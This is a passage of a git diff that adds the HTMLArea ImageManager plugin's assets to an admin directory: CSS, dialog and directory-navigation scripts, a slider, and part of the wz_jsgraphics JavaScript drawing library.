+//     Manual at: http://www.hszk.bme.hu/~hj130/css/list_menu/hover/
+//
+
+function hoverRollOver() {
+       
+       element.origClassName = element.className;      // backup origonal className
+       
+       var tempClassStr = element.className;           
+       
+       tempClassStr += "Hover";                                        // convert name+'Hover' the last class name     to emulate tag.class:hover
+       
+       tempClassStr = tempClassStr.replace(/\s/g,"Hover ");    //convert name+'Hover' the others to emulate tag.class:hover
+       
+       tempClassStr += " hover";                               // add simple 'hover' class name to emulate tag:hover
+       
+       element.className = element.className + " " + tempClassStr; 
+       
+       //alert(element.className);
+       //window.status = element.className;            // only for TEST
+}
+function hoverRollOff() {
+       element.className = element.origClassName;
+}
+
+</script>
+
diff --git a/admin/htmlarea/plugins/ImageManager/assets/imagelist.css b/admin/htmlarea/plugins/ImageManager/assets/imagelist.css
new file mode 100755 (executable)
index 0000000..14524b7
--- /dev/null
@@ -0,0 +1,10 @@
+body { margin: 0; padding: 0; }
+.block { height: 98px; width: 98px; border: 1px solid threedface; text-align: center; behavior: url(hover.htc ); }
+.block a img { border: 0 none; }
+.block:hover, .block.hover{ background-color: #ffc; }
+.edit { font-size: 9pt; font-family: "MS Sans Serif", Geneva, sans-serif; padding-top: 3px;}
+.edit a { border: 1px solid white; padding: 3px; }
+.edit a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; background-color: #ffc; }
+.edit a img { border: 0 none; vertical-align: bottom; }
+.noResult { font-size:large; font-weight:bold; color:#ccc; font-family: Helvetica, sans-serif;  text-align: center;  padding-top: 60px;   }
+.error { color:#c00; font-weight:bold; font-size: medium; font-family: Helvetica, sans-serif; text-align: center;  padding-top: 65px;}
\ No newline at end of file
diff --git a/admin/htmlarea/plugins/ImageManager/assets/images.js b/admin/htmlarea/plugins/ImageManager/assets/images.js
new file mode 100755 (executable)
index 0000000..76a211f
--- /dev/null
@@ -0,0 +1,105 @@
+/**
+ * Functions for the image listing, used by images.php only    
+ * @author $Author: cscott $
+ * @version $Id: images.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+       function i18n(str) {
+               if(I18N)
+                 return (I18N[str] || str);
+               else
+                       return str;
+       };
+
+       function changeDir(newDir) 
+       {
+               showMessage('Loading');
+               location.href = "images.php?dir="+newDir;
+       }
+
+
+       function newFolder(dir, newDir) 
+       {
+               location.href = "images.php?dir="+dir+"&newDir="+newDir;
+       }
+
+       //update the dir list in the parent window.
+       function updateDir(newDir)
+       {
+               var selection = window.top.document.getElementById('dirPath');
+               if(selection)
+               {
+                       for(var i = 0; i < selection.length; i++)
+                       {
+                               var thisDir = selection.options[i].text;
+                               if(thisDir == newDir)
+                               {
+                                       selection.selectedIndex = i;
+                                       showMessage('Loading');
+                                       break;
+                               }
+                       }               
+               }
+       }
+
+       function selectImage(filename, alt, width, height) 
+       {
+               var topDoc = window.top.document;
+               
+               var obj = topDoc.getElementById('f_url');  obj.value = filename;
+               var obj = topDoc.getElementById('f_width');  obj.value = width;
+               var obj = topDoc.getElementById('f_width'); obj.value = width;
+               var obj = topDoc.getElementById('f_height'); obj.value = height;
+               var obj = topDoc.getElementById('f_alt'); obj.value = alt;
+               var obj = topDoc.getElementById('orginal_width'); obj.value = width;
+               var obj = topDoc.getElementById('orginal_height'); obj.value = height;          
+       }
+
+       function showMessage(newMessage) 
+       {
+               var topDoc = window.top.document;
+
+               var message = topDoc.getElementById('message');
+               var messages = topDoc.getElementById('messages');
+               if(message && messages)
+               {
+                       if(message.firstChild)
+                               message.removeChild(message.firstChild);
+
+                       message.appendChild(topDoc.createTextNode(i18n(newMessage)));
+                       
+                       messages.style.display = "block";
+               }
+       }
+
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+
+       function confirmDeleteFile(file) 
+       {
+               if(confirm(i18n("Delete file?")))
+                       return true;
+       
+               return false;           
+       }
+
+       function confirmDeleteDir(dir, count) 
+       {
+               if(count > 0)
+               {
+                       alert(i18n("Please delete all files/folders inside the folder you wish to delete first."));
+                       return;
+               }
+
+               if(confirm(i18n("Delete folder?"))) 
+                       return true;
+
+               return false;
+       }
+
+       addEvent(window, 'load', init);
\ No newline at end of file
diff --git a/admin/htmlarea/plugins/ImageManager/assets/manager.css b/admin/htmlarea/plugins/ImageManager/assets/manager.css
new file mode 100755 (executable)
index 0000000..c09857b
--- /dev/null
@@ -0,0 +1,19 @@
+html, body {  background-color: ButtonFace;  color: ButtonText; font: 11px Tahoma,Verdana,sans-serif; margin: 0; padding: 0;}
+body { padding: 5px; }
+fieldset { padding: 0;}
+.title { background-color: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px; border-bottom: 1px  solid black; letter-spacing: 2px;}
+form { padding: 0px;  margin: 0 auto; width: 550px;}
+.dirWidth { width: 70%; }
+a { padding: 5px; border: 1px solid ButtonFace;        }       
+a img  { border: 0; }  
+a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; }
+.dirs {        padding: 1em;   }
+.imageFrame { width: 525px; height: 145px; margin: 0 auto; margin-top: 1em; background-color: White;}
+.smallWidth{ width: 4em; }
+.largelWidth{ width: 22em; }
+.inputTable { margin: 1em auto; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+.buttons { width: 70px; text-align: center; }
+.clearboth{ clear: both; }
+#messages { position: relative; left: 175px; top: 115px; background-color: white; width:200px;  float: left; margin-top: -52px; border: 1px solid #ccc; text-align: center; padding: 15px; }
+#message  { font-size: 15px; font-weight: bold; color: #69c; }
diff --git a/admin/htmlarea/plugins/ImageManager/assets/manager.js b/admin/htmlarea/plugins/ImageManager/assets/manager.js
new file mode 100755 (executable)
index 0000000..dfeae02
--- /dev/null
@@ -0,0 +1,241 @@
+/**
+ * Functions for the ImageManager, used by manager.php only    
+ * @author $Author: cscott $
+ * @version $Id: manager.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+       
+       //Translation
+       function i18n(str) {
+               if(I18N)
+                 return (I18N[str] || str);
+               else
+                       return str;
+       };
+
+
+       //set the alignment options
+       function setAlign(align) 
+       {
+               var selection = document.getElementById('f_align');
+               for(var i = 0; i < selection.length; i++)
+               {
+                       if(selection.options[i].value == align)
+                       {
+                               selection.selectedIndex = i;
+                               break;
+                       }
+               }
+       }
+
+       //initialise the form
+       init = function () 
+       {
+               __dlg_init();
+
+               if(I18N)
+                       __dlg_translate(I18N);
+
+               var uploadForm = document.getElementById('uploadForm');
+               if(uploadForm) uploadForm.target = 'imgManager';
+
+               var param = window.dialogArguments;
+               if (param) 
+               {
+                       document.getElementById("f_url").value = param["f_url"];
+                       document.getElementById("f_alt").value = param["f_alt"];
+                       document.getElementById("f_border").value = param["f_border"];
+                       document.getElementById("f_vert").value = param["f_vert"];
+                       document.getElementById("f_horiz").value = param["f_horiz"];
+                       document.getElementById("f_width").value = param["f_width"];
+                       document.getElementById("f_height").value = param["f_height"];
+                       setAlign(param["f_align"]);
+               }
+
+               document.getElementById("f_url").focus();
+       }
+
+
+       function onCancel() 
+       {
+               __dlg_close(null);
+               return false;
+       };
+
+       function onOK() 
+       {
+               // pass data back to the calling window
+               var fields = ["f_url", "f_alt", "f_align", "f_border", "f_horiz", "f_vert", "f_height", "f_width"];
+               var param = new Object();
+               for (var i in fields) 
+               {
+                       var id = fields[i];
+                       var el = document.getElementById(id);
+                       if(id == "f_url" && el.value.indexOf('://') < 0 )
+                               param[id] = makeURL(base_url,el.value);
+                       else
+                               param[id] = el.value;
+               }
+               __dlg_close(param);
+               return false;
+       };
+
+       //similar to the Files::makeFile() in Files.php
+       function makeURL(pathA, pathB) 
+       {
+               if(pathA.substring(pathA.length-1) != '/')
+                       pathA += '/';
+
+               if(pathB.charAt(0) == '/');     
+                       pathB = pathB.substring(1);
+
+               return pathA+pathB;
+       }
+
+
+       function updateDir(selection) 
+       {
+               var newDir = selection.options[selection.selectedIndex].value;
+               changeDir(newDir);
+       }
+
+       function goUpDir() 
+       {
+               var selection = document.getElementById('dirPath');
+               var currentDir = selection.options[selection.selectedIndex].text;
+               if(currentDir.length < 2)
+                       return false;
+               var dirs = currentDir.split('/');
+               
+               var search = '';
+
+               for(var i = 0; i < dirs.length - 2; i++)
+               {
+                       search += dirs[i]+'/';
+               }
+
+               for(var i = 0; i < selection.length; i++)
+               {
+                       var thisDir = selection.options[i].text;
+                       if(thisDir == search)
+                       {
+                               selection.selectedIndex = i;
+                               var newDir = selection.options[i].value;
+                               changeDir(newDir);
+                               break;
+                       }
+               }
+       }
+
+       function changeDir(newDir) 
+       {
+               if(typeof imgManager != 'undefined')
+                       imgManager.changeDir(newDir);
+       }
+
+       function toggleConstrains(constrains) 
+       {
+               var lockImage = document.getElementById('imgLock');
+               var constrains = document.getElementById('constrain_prop');
+
+               if(constrains.checked) 
+               {
+                       lockImage.src = "img/locked.gif";       
+                       checkConstrains('width') 
+               }
+               else
+               {
+                       lockImage.src = "img/unlocked.gif";     
+               }
+       }
+
+       function checkConstrains(changed) 
+       {
+               //alert(document.form1.constrain_prop);
+               var constrains = document.getElementById('constrain_prop');
+               
+               if(constrains.checked) 
+               {
+                       var obj = document.getElementById('orginal_width');
+                       var orginal_width = parseInt(obj.value);
+                       var obj = document.getElementById('orginal_height');
+                       var orginal_height = parseInt(obj.value);
+
+                       var widthObj = document.getElementById('f_width');
+                       var heightObj = document.getElementById('f_height');
+                       
+                       var width = parseInt(widthObj.value);
+                       var height = parseInt(heightObj.value);
+
+                       if(orginal_width > 0 && orginal_height > 0) 
+                       {
+                               if(changed == 'width' && width > 0) {
+                                       heightObj.value = parseInt((width/orginal_width)*orginal_height);
+                               }
+
+                               if(changed == 'height' && height > 0) {
+                                       widthObj.value = parseInt((height/orginal_height)*orginal_width);
+                               }
+                       }                       
+               }
+       }
+
+       function showMessage(newMessage) 
+       {
+               var message = document.getElementById('message');
+               var messages = document.getElementById('messages');
+               if(message.firstChild)
+                       message.removeChild(message.firstChild);
+
+               message.appendChild(document.createTextNode(i18n(newMessage)));
+               
+               messages.style.display = "block";
+       }
+
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+
+       function doUpload() 
+       {
+               
+               var uploadForm = document.getElementById('uploadForm');
+               if(uploadForm)
+                       showMessage('Uploading');
+       }
+
+       function refresh()
+       {
+               var selection = document.getElementById('dirPath');
+               updateDir(selection);
+       }
+
+
+       function newFolder() 
+       {
+               var selection = document.getElementById('dirPath');
+               var dir = selection.options[selection.selectedIndex].value;
+
+               Dialog("newFolder.html", function(param) 
+               {
+                       if (!param) // user must have pressed Cancel
+                               return false;
+                       else
+                       {
+                               var folder = param['f_foldername'];
+                               if(folder == thumbdir)
+                               {
+                                       alert(i18n('Invalid folder name, please choose another folder name.'));
+                                       return false;
+                               }
+
+                               if (folder && folder != '' && typeof imgManager != 'undefined') 
+                                       imgManager.newFolder(dir, encodeURI(folder)); 
+                       }
+               }, null);
+       }
+
+       addEvent(window, 'load', init);
diff --git a/admin/htmlarea/plugins/ImageManager/assets/popup.js b/admin/htmlarea/plugins/ImageManager/assets/popup.js
new file mode 100755 (executable)
index 0000000..a627e4f
--- /dev/null
@@ -0,0 +1,123 @@
+// htmlArea v3.0 - Copyright (c) 2002, 2003 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+//   http://dynarch.com/mishoo
+//
+// $Id: popup.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+// Slightly modified for the ImageManager, window resizing is done only
+// by each window's script. Added translation for a few other HTML elements.
+
+function getAbsolutePos(el) {
+       var r = { x: el.offsetLeft, y: el.offsetTop };
+       if (el.offsetParent) {
+               var tmp = getAbsolutePos(el.offsetParent);
+               r.x += tmp.x;
+               r.y += tmp.y;
+       }
+       return r;
+};
+
+function comboSelectValue(c, val) {
+       var ops = c.getElementsByTagName("option");
+       for (var i = ops.length; --i >= 0;) {
+               var op = ops[i];
+               op.selected = (op.value == val);
+       }
+       c.value = val;
+};
+
+function __dlg_onclose() {
+       if(opener.Dialog._return)
+               opener.Dialog._return(null);
+};
+
+function __dlg_init(bottom) {
+       var body = document.body;
+       var body_height = 0;
+       if (typeof bottom == "undefined") {
+               var div = document.createElement("div");
+               body.appendChild(div);
+               var pos = getAbsolutePos(div);
+               body_height = pos.y;
+       } else {
+               var pos = getAbsolutePos(bottom);
+               body_height = pos.y + bottom.offsetHeight;
+       }
+       if(opener && opener.Dialog && opener.Dialog._arguments)
+               window.dialogArguments = opener.Dialog._arguments;
+       if (!document.all) {
+               //window.sizeToContent();
+               //window.sizeToContent();       // for reasons beyond understanding,
+                                       // only if we call it twice we get the
+                                       // correct size.
+               window.addEventListener("unload", __dlg_onclose, true);
+               // center on parent
+               var x = opener.screenX + (opener.outerWidth - window.outerWidth) / 2;
+               var y = opener.screenY + (opener.outerHeight - window.outerHeight) / 2;
+               window.moveTo(x, y);
+               //window.innerWidth = body.offsetWidth + 5;
+               //window.innerHeight = body_height + 2;
+       } else {
+               // window.dialogHeight = body.offsetHeight + 50 + "px";
+               // window.dialogWidth = body.offsetWidth + "px";
+               //window.resizeTo(body.offsetWidth, body_height);
+               var ch = body.clientHeight;
+               var cw = body.clientWidth;
+               //window.resizeBy(body.offsetWidth - cw, body_height - ch);
+               var W = body.offsetWidth;
+               var H = 2 * body_height - ch;
+               if(ch <= 0) H = body_height;
+               var x = (screen.availWidth - W) / 2;
+               var y = (screen.availHeight - H) / 2;
+               
+               window.moveTo(x, y);
+       }
+       document.body.onkeypress = __dlg_close_on_esc;
+};
+
+function __dlg_translate(i18n) {
+       var types = ["span", "option", "td", "button", "div", "label", "a","img", "legend"];
+       for (var type in types) {
+               var spans = document.getElementsByTagName(types[type]);
+               for (var i = spans.length; --i >= 0;) {
+                       var span = spans[i];
+                       if (span.firstChild && span.firstChild.data) {                          
+                               var txt = i18n[span.firstChild.data];
+                               if (txt) span.firstChild.data = txt;
+                       }
+                       if(span.title){
+                               var txt = i18n[span.title];
+                               if(txt) span.title = txt;
+                       }
+                       if(span.alt){
+                               var txt = i18n[span.alt];
+                               if(txt) span.alt = txt;
+                       }
+               }
+       }
+       var txt = i18n[document.title];
+       if (txt)
+               document.title = txt;
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+       opener.Dialog._return(val);
+       window.close();
+};
+
+function __dlg_close_on_esc(ev) {
+       ev || (ev = window.event);
+       if (ev.keyCode == 27) {
+               window.close();
+               return false;
+       }
+       return true;
+};
diff --git a/admin/htmlarea/plugins/ImageManager/assets/slider.js b/admin/htmlarea/plugins/ImageManager/assets/slider.js
new file mode 100755 (executable)
index 0000000..5ddee75
--- /dev/null
@@ -0,0 +1,105 @@
+/***********************************************************************
+** Title.........:  Simple Lite Slider for Image Editor
+** Version.......:  1.1
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  slider.js
+** Last changed..:  31 Mar 2004 
+** Notes.........:  Works in IE and Mozilla
+**/ 
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+document.onmouseup = captureStop;
+
+var currentSlider = null,sliderField = null;
+var rangeMin = null, rangeMax= null, sx = -1, sy = -1, initX=0;
+
+function getMouseXY(e) {
+
+    //alert('hello');
+    x = ns6? e.clientX: event.clientX
+    y = ns6? e.clientY: event.clientY
+    
+    if (sx < 0) sx = x; if (sy < 0) sy = y;
+
+    var dx = initX +(x-sx);
+    
+    if (dx <= rangeMin)
+        dx = rangeMin;
+    else if (dx >= rangeMax)
+        dx = rangeMax;
+
+    var range = (dx-rangeMin)/(rangeMax - rangeMin)*100;
+
+    if (currentSlider !=  null)
+        currentSlider.style.left = dx+"px";
+        
+    if (sliderField != null)
+    {
+        sliderField.value = parseInt(range);
+    }
+    return false;
+
+}
+
+function initSlider()
+{
+    if (currentSlider == null)
+        currentSlider = document.getElementById('sliderbar');
+   
+    if (sliderField == null)
+        sliderField = document.getElementById('quality');
+
+    if (rangeMin == null)
+        rangeMin = 3
+    if (rangeMax == null)
+    {
+        var track = document.getElementById('slidertrack');
+        rangeMax = parseInt(track.style.width);
+    }
+
+}
+
+function updateSlider(value)
+{
+    initSlider();
+
+    var newValue = parseInt(value)/100*(rangeMax-rangeMin);
+
+    if (newValue <= rangeMin)
+        newValue = rangeMin;
+    else if (newValue >= rangeMax)
+        newValue = rangeMax;
+
+    if (currentSlider !=  null)
+        currentSlider.style.left = newValue+"px";
+    
+    var range = newValue/(rangeMax - rangeMin)*100;
+
+    if (sliderField != null)
+        sliderField.value = parseInt(range);
+}
+
+function captureStart()
+{
+    
+    initSlider();
+
+    initX = parseInt(currentSlider.style.left);
+    if (initX > rangeMax)
+        initX = rangeMax;
+    else if (initX < rangeMin)
+        initX = rangeMin;
+
+    document.onmousemove = getMouseXY;
+
+    return false;
+}
+
+function captureStop()
+{
+    sx = -1; sy = -1;
+    document.onmousemove = null;
+    return false;
+}
\ No newline at end of file
diff --git a/admin/htmlarea/plugins/ImageManager/assets/wz_jsgraphics.js b/admin/htmlarea/plugins/ImageManager/assets/wz_jsgraphics.js
new file mode 100755 (executable)
index 0000000..b5c2151
--- /dev/null
@@ -0,0 +1,921 @@
+/***********************************************************************
+** Title.........:  Javascript Graphics
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  wz_jsgraphics.js
+** Last changed..:  31 Aug 2003  
+** Notes.........:  Modified for Image Editor, added extra commands
+**/ 
+
+/* This notice must be untouched at all times.
+
+wz_jsgraphics.js    v. 2.03
+The latest version is available at
+http://www.walterzorn.com
+or http://www.devira.com
+or http://www.walterzorn.de
+
+Copyright (c) 2002-2003 Walter Zorn. All rights reserved.
+Created 3. 11. 2002 by Walter Zorn <walter@kreuzotter.de>
+Last modified: 11. 6. 2003
+
+High Performance JavaScript Graphics Library.
+Provides methods
+- to draw lines, rectangles, ellipses, polygons
+  with specifiable line thickness,
+- to fill rectangles and ellipses
+- to draw text.
+NOTE: Operations, functions and branching have rather been optimized
+to efficiency and speed than to shortness of source code.
+
+This program is free software;
+you can redistribute it and/or modify it under the terms of the
+GNU General Public License as published by the Free Software Foundation;
+either version 2 of the License, or (at your option) any later version.
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY;
+without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+See the GNU General Public License
+at http://www.gnu.org/copyleft/gpl.html for more details.
+*/
+
+
+
+
+
+var jg_ihtm, jg_ie, jg_dom,
+jg_n4 = (document.layers && typeof document.classes != "undefined");
+
+
+
+
+
+function chkDHTM(x, i)
+{
+    x = document.body || null;
+    jg_ie = (x && typeof x.insertAdjacentHTML != "undefined");
+    jg_dom = (x && !jg_ie &&
+        typeof x.appendChild != "undefined" &&
+        typeof document.createRange != "undefined" &&
+        typeof (i = document.createRange()).setStartBefore != "undefined" &&
+        typeof i.createContextualFragment != "undefined");
+    jg_ihtm = (!jg_ie && !jg_dom && x && typeof x.innerHTML != "undefined");
+}
+
+
+
+
+
+function pntDoc()
+{
+    this.wnd.document.write(this.htm);
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnvDom()
+{
+    var x = document.createRange();
+    x.setStartBefore(this.cnv);
+    x = x.createContextualFragment(this.htm);
+    this.cnv.appendChild(x);
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnvIe()
+{
+    this.cnv.insertAdjacentHTML("BeforeEnd", this.htm);
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnvIhtm()
+{
+    this.cnv.innerHTML += this.htm;
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnv()
+{
+    this.htm = '';
+}
+
+
+
+
+
+function mkDiv(x, y, w, h)
+{
+    this.htm += '<div style="position:absolute;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+w+'px,'+h+'px,0);'+
+        'overflow:hidden;background-color:' + this.color + ';'+
+        '"><\/div>';
+
+    //alert(this.htm);
+}
+
+
+
+
+function mkDivPrint(x, y, w, h)
+{
+    this.htm += '<div style="position:absolute;'+
+        'border-left:' + w + 'px solid ' + this.color + ';'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+w+'px,'+h+'px,0);'+
+        'overflow:hidden;background-color:' + this.color + ';'+
+        '"><\/div>';
+}
+
+
+
+
+
+function mkLyr(x, y, w, h)
+{
+    this.htm += '<layer '+
+        'left="' + x + '" '+
+        'top="' + y + '" '+
+        'width="' + w + '" '+
+        'height="' + h + '" '+
+        'bgcolor="' + this.color + '"><\/layer>\n';
+}
+
+
+
+
+
+function mkLbl(txt, x, y)
+{
+    this.htm += '<div style="position:absolute;white-space:nowrap;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'font-family:' +  this.ftFam + ';'+
+        'font-size:' + this.ftSz + ';'+
+        'color:' + this.color + ';' + this.ftSty + '">'+
+        txt +
+        '<\/div>';
+}
+
+
+
+
+
+function mkLin(x1, y1, x2, y2)
+{
+    if (x1 > x2)
+    {
+        var _x2 = x2;
+        var _y2 = y2;
+        x2 = x1;
+        y2 = y1;
+        x1 = _x2;
+        y1 = _y2;
+    }
+    var dx = x2-x1, dy = Math.abs(y2-y1),
+    x = x1, y = y1,
+    yIncr = (y1 > y2)? -1 : 1;
+
+    if (dx >= dy)
+    {
+        var pr = dy<<1,
+        pru = pr - (dx<<1),
+        p = pr-dx,
+        ox = x;
+        while ((dx--) > 0)
+        {
+            ++x;
+            if (p > 0)
+            {
+                this.mkDiv(ox, y, x-ox, 1);
+                y += yIncr;
+                p += pru;
+                ox = x;
+            }
+            else p += pr;
+        }
+        this.mkDiv(ox, y, x2-ox+1, 1);
+    }
+
+    else
+    {
+        var pr = dx<<1,
+        pru = pr - (dy<<1),
+        p = pr-dy,
+        oy = y;
+        if (y2 <= y1)
+        {
+            while ((dy--) > 0)
+            {
+                if (p > 0)
+                {
+                    this.mkDiv(x++, y, 1, oy-y+1);
+                    y += yIncr;
+                    p += pru;
+                    oy = y;
+                }
+                else
+                {
+                    y += yIncr;
+                    p += pr;
+                }
+            }
+            this.mkDiv(x2, y2, 1, oy-y2+1);
+        }
+        else
+        {
+            while ((dy--) > 0)
+            {
+                y += yIncr;
+                if (p > 0)
+                {
+                    this.mkDiv(x++, oy, 1, y-oy);
+                    p += pru;
+                    oy = y;
+                }
+                else p += pr;
+            }
+            this.mkDiv(x2, oy, 1, y2-oy+1);
+        }
+    }
+}
+
+
+
+
+
+function mkLin2D(x1, y1, x2, y2)
+{
+    if (x1 > x2)
+    {
+        var _x2 = x2;
+        var _y2 = y2;
+        x2 = x1;
+        y2 = y1;
+        x1 = _x2;
+        y1 = _y2;
+    }
+    var dx = x2-x1, dy = Math.abs(y2-y1),
+    x = x1, y = y1,
+    yIncr = (y1 > y2)? -1 : 1;
+
+
+    var s = this.stroke;
+    if (dx >= dy)
+    {
+        if (s-0x3 > 0)
+        {
+            var _s = (s*dx*Math.sqrt(1+dy*dy/(dx*dx))-dx-(s>>1)*dy) / dx;
+            _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+        }
+        else var _s = s;
+        var ad = Math.ceil(s/2);
+
+        var pr = dy<<1,
+        pru = pr - (dx<<1),
+        p = pr-dx,
+        ox = x;
+        while ((dx--) > 0)
+        {
+            ++x;
+            if (p > 0)
+            {
+                this.mkDiv(ox, y, x-ox+ad, _s);
+                y += yIncr;
+                p += pru;
+                ox = x;
+            }
+            else p += pr;
+        }
+        this.mkDiv(ox, y, x2-ox+ad+1, _s);
+    }
+
+    else
+    {
+        if (s-0x3 > 0)
+        {
+            var _s = (s*dy*Math.sqrt(1+dx*dx/(dy*dy))-(s>>1)*dx-dy) / dy;
+            _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+        }
+        else var _s = s;
+        var ad = Math.round(s/2);
+
+        var pr = dx<<1,
+        pru = pr - (dy<<1),
+        p = pr-dy,
+        oy = y;
+        if (y2 <= y1)
+        {
+            ++ad;
+            while ((dy--) > 0)
+            {
+                if (p > 0)
+                {
+                    this.mkDiv(x++, y, _s, oy-y+ad);
+                    y += yIncr;
+                    p += pru;
+                    oy = y;
+                }
+                else
+                {
+                    y += yIncr;
+                    p += pr;
+                }
+            }
+            this.mkDiv(x2, y2, _s, oy-y2+ad);
+        }
+        else
+        {
+            while ((dy--) > 0)
+            {
+                y += yIncr;
+                if (p > 0)
+                {
+                    this.mkDiv(x++, oy, _s, y-oy+ad);
+                    p += pru;
+                    oy = y;
+                }
+                else p += pr;
+            }
+            this.mkDiv(x2, oy, _s, y2-oy+ad+1);
+        }
+    }
+}
+
+
+
+
+
+function mkLinDott(x1, y1, x2, y2)
+{
+    if (x1 > x2)
+    {
+        var _x2 = x2;
+        var _y2 = y2;
+        x2 = x1;
+        y2 = y1;
+        x1 = _x2;
+        y1 = _y2;
+    }
+    var dx = x2-x1, dy = Math.abs(y2-y1),
+    x = x1, y = y1,
+    yIncr = (y1 > y2)? -1 : 1,
+    drw = true;
+    if (dx >= dy)
+    {
+        var pr = dy<<1,
+        pru = pr - (dx<<1),
+        p = pr-dx;
+        while ((dx--) > 0)
+        {
+            if (drw) this.mkDiv(x, y, 1, 1);
+            drw = !drw;
+            if (p > 0)
+            {
+                y += yIncr;
+                p += pru;
+            }
+            else p += pr;
+            ++x;
+        }
+        if (drw) this.mkDiv(x, y, 1, 1);
+    }
+
+    else
+    {
+        var pr = dx<<1,
+        pru = pr - (dy<<1),
+        p = pr-dy;
+        while ((dy--) > 0)
+        {
+            if (drw) this.mkDiv(x, y, 1, 1);
+            drw = !drw;
+            y += yIncr;
+            if (p > 0)
+            {
+                ++x;
+                p += pru;
+            }
+            else p += pr;
+        }
+        if (drw) this.mkDiv(x, y, 1, 1);
+    }
+}
+
+
+
+
+
+function mkOv(left, top, width, height)
+{
+    var a = width>>1, b = height>>1,
+    wod = width&1, hod = (height&1)+1,
+    cx = left+a, cy = top+b,
+    x = 0, y = b,
+    ox = 0, oy = b,
+    aa = (a*a)<<1, bb = (b*b)<<1,
+    st = (aa>>1)*(1-(b<<1)) + bb,
+    tt = (bb>>1) - aa*((b<<1)-1),
+    w, h;
+    while (y > 0)
+    {
+        if (st < 0)
+        {
+            st += bb*((x<<1)+0x3);
+            tt += (bb<<1)*(++x);
+        }
+        else if (tt < 0)
+        {
+            st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+            tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+            w = x-ox;
+            h = oy-y;
+            if (w&0x2 && h&0x2)
+            {
+                this.mkOvQds(cx, cy, -x+0x2, ox+wod, -oy, oy-1+hod, 1, 1);
+                this.mkOvQds(cx, cy, -x+1, x-1+wod, -y-1, y+hod, 1, 1);
+            }
+            else this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, oy-h+hod, w, h);
+            ox = x;
+            oy = y;
+        }
+        else
+        {
+            tt -= aa*((y<<1)-0x3);
+            st -= (aa<<1)*(--y);
+        }
+    }
+    this.mkDiv(cx-a, cy-oy, a-ox+1, (oy<<1)+hod);
+    this.mkDiv(cx+ox+wod, cy-oy, a-ox+1, (oy<<1)+hod);
+}
+
+
+
+
+
+function mkOv2D(left, top, width, height)
+{
+    var s = this.stroke;
+    width += s-1;
+    height += s-1;
+    var a = width>>1, b = height>>1,
+    wod = width&1, hod = (height&1)+1,
+    cx = left+a, cy = top+b,
+    x = 0, y = b,
+    aa = (a*a)<<1, bb = (b*b)<<1,
+    st = (aa>>1)*(1-(b<<1)) + bb,
+    tt = (bb>>1) - aa*((b<<1)-1);
+
+
+    if (s-0x4 < 0 && (!(s-0x2) || width-0x33 > 0 && height-0x33 > 0))
+    {
+        var ox = 0, oy = b,
+        w, h,
+        pxl, pxr, pxt, pxb, pxw;
+        while (y > 0)
+        {
+            if (st < 0)
+            {
+                st += bb*((x<<1)+0x3);
+                tt += (bb<<1)*(++x);
+            }
+            else if (tt < 0)
+            {
+                st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+                tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+                w = x-ox;
+                h = oy-y;
+
+                if (w-1)
+                {
+                    pxw = w+1+(s&1);
+                    h = s;
+                }
+                else if (h-1)
+                {
+                    pxw = s;
+                    h += 1+(s&1);
+                }
+                else pxw = h = s;
+                this.mkOvQds(cx, cy, -x+1, ox-pxw+w+wod, -oy, -h+oy+hod, pxw, h);
+                ox = x;
+                oy = y;
+            }
+            else
+            {
+                tt -= aa*((y<<1)-0x3);
+                st -= (aa<<1)*(--y);
+            }
+        }
+        this.mkDiv(cx-a, cy-oy, s, (oy<<1)+hod);
+        this.mkDiv(cx+a+wod-s+1, cy-oy, s, (oy<<1)+hod);
+    }
+
+
+    else
+    {
+        var _a = (width-((s-1)<<1))>>1,
+        _b = (height-((s-1)<<1))>>1,
+        _x = 0, _y = _b,
+        _aa = (_a*_a)<<1, _bb = (_b*_b)<<1,
+        _st = (_aa>>1)*(1-(_b<<1)) + _bb,
